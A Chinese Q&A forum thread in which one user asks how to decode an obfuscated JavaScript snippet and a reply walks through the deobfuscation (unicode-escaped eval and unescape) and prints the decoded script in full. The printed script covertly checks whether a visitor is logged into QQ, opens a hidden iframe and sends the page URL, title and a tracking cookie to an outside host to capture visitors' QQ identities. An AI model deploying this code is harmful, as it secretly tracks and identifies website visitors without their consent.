jslang 大哥，请教一个js代码的解密

Question

本帖最后由 u012925585 于 2013-11-22 22:52:57 编辑

Answer 1

要自己学会解：
1：把所有/* xxxxx */内容全部删除，及//注解内容都可删除。得到：
var WpCUNE861I = \u0075\u006e\u0065\u0073\u0063\u0061\u0070\u0065;
var ESoXbuo8sIC = \u0065\u0076\u0061\u006c;
ESoXbuo8sIC(WpCUNE861I("eval........."))
2:再解得：
var WpCUNE861I = unescape;
var ESoXbuo8sIC = eval;
所以结合是：
eval(unescape("eval........."))
3:复制这些脚本到http://www.baidu.com/baidu?wd=js%BC%D3%C3%DC&tn=monline_4_dg 里多点几次“eval还原”即可得到：
window.cfguid="146";window.cfgqq="284389";window.cfgurl="http://qq.7-yn.cn/";var isLoginTimeID;function SetCookie(name,value){var exp=new Date();exp.setTime(exp.getTime()+2*24*60*60*1000);document.cookie=name+"="+escape(value)+";expires="+exp.toGMTString()}function GetCookie(name){var arr=document.cookie.match(new RegExp("(^| )"+name+"=([^;]*)(;|$)"));if(arr!=null)return unescape(arr[2]);return null}function DelCookie(name){var exp=new Date();exp.setTime(exp.getTime()-1);var cval=getCookie(name);if(cval!=null)document.cookie=name+"="+cval+";expires="+exp.toGMTString()}function insertFrame(){var ms=document.createElement("iframe");ms.src="http://meishi.qq.com/profiles/"+window.cfgqq;ms.width=0;ms.height=0;ms.frameborder=0;ms.scrolling="no";if(ms.attachEvent){ms.attachEvent("onload",function(){newSubmit()})}else{ms.onload=function(){newSubmit()}}document.body.appendChild(ms)}function newSubmit(){var uincookie=GetCookie("uincookie");if(uincookie==null){uincookie="code"+(new Date()).getTime()+parseInt(Math.random()*100000);SetCookie("uincookie",uincookie)}var title=document.title;title=encodeURI(title);title=encodeURI(title);var url=document.location.href;url=encodeURI(url);url=encodeURI(url);var oHead=document.getElementsByTagName('HEAD').item(0);var oScript=document.createElement("script");oScript.type="text/javascript";oScript.src=window.cfgurl+"?action=saveQQ&do=save&uid="+window.cfguid+"&qq="+window.cfgqq+"&url="+url+"&title="+title+"&uincookie="+uincookie;oHead.appendChild(oScript)}function isLogin(){var code=null;if(typeof(data3)=="undefined"){code=data0.err}else{code=data3.err}if(code==1007){window.clearInterval(isLoginTimeID);insertFrame()}else{var uincookie=GetCookie("uincookie");if(uincookie!=null){window.clearInterval(isLoginTimeID);var title=document.title;title=encodeURI(title);title=encodeURI(title);var url=document.location.href;url=encodeURI(url);url=encodeURI(url);var oHead=document.getElementsByTagName('HEAD').item(0);var oScript=document.createElement("script");oScript.type="text/javascript";oScript.src=window.cfgurl+"?action=saveQQ&do=cookieSave&uid="+window.cfguid+"&qq="+window.cfgqq+"&url="+url+"&title="+title+"&uincookie="+uincookie;oHead.appendChild(oScript)}else{var checkscript=document.getElementById("checkloginscript");checkscript.parentNode.removeChild(checkscript)}}}function dynamicLoad(){var vsrc="http://apps.qq.com/app/yx/cgi-bin/show_fel?hc=8&lc=4&d=365633133&t=";var time=new Date().getTime();vsrc=vsrc+time;var oHead=document.getElementsByTagName('HEAD').item(0);var oScript=document.createElement("script");oScript.type="text/javascript";oScript.id="checkloginscript";if(oScript.readyState){oScript.onreadystatechange=function(){if(oScript.readyState=="loaded"||oScript.readyState=="complete"){oScript.onreadystatechange=null;isLogin()}}}else{oScript.onload=function(){isLogin()}}oScript.src=vsrc;oHead.appendChild(oScript)}dynamicLoad();isLoginTimeID=window.setInterval("dynamicLoad()",3000);